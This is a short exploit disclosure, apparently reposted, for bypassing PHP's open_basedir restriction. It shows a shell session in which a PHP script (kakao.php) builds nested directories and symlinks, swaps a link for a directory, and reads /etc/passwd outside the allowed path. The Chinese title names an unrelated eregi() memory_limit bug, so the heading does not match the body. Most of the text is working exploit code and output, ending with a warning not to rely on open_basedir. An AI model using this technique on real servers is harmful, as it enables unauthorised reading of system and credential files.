PHP 5.4/5.3弃用函数eregi() memory_limit绕过漏洞

PoC: 127# cat sym.php <?php symlink("/etc/passwd", "./symlink"); ?> 127# php sym.php PHP Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \ within the allowed path(s): (/www) in /www/test/sym.php on line 2 Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \ within the allowed path(s): (/www) in /www/test/sym.php on line 2 127# open_basedir will disallow /etc/passwd. Let`s see: 127# ls -la total 8 drwxr-xr-x 2 www www 512 Oct 20 00:33 . drwxr-xr-x 13 www www 1536 Oct 20 00:26 .. -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php 127# pwd /www/test 127# cat kakao.php <?php mkdir("abc"); chdir("abc"); mkdir("etc"); chdir("etc"); mkdir("passwd"); chdir(".."); mkdir("abc"); chdir("abc"); mkdir("abc"); chdir("abc"); mkdir("abc"); chdir("abc"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink"); ?> 127# php kakao.php 127# ls -la total 12 drwxr-xr-x 4 www www 512 Oct 20 00:37 . drwxr-xr-x 13 www www 1536 Oct 20 00:26 .. drwxr-xr-x 4 www www 512 Oct 20 00:37 abc lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink 127# cat exploit # passwd # root:*:0:0:god:/root:/bin/csh .. now "tmplink" is a directory. so link "exploit" will be "../../etc/passwd". We don't \ need bypass open_basedir, it is a design mistake. PHP will allow \ "tmplink/../../../etc/passwd" because ./tmplink/../../../etc/passwd really exists. PoC: http://cxsecurity.com/issue/WLB-2012030270 Remember. Don't use open_basedir as a main security feature.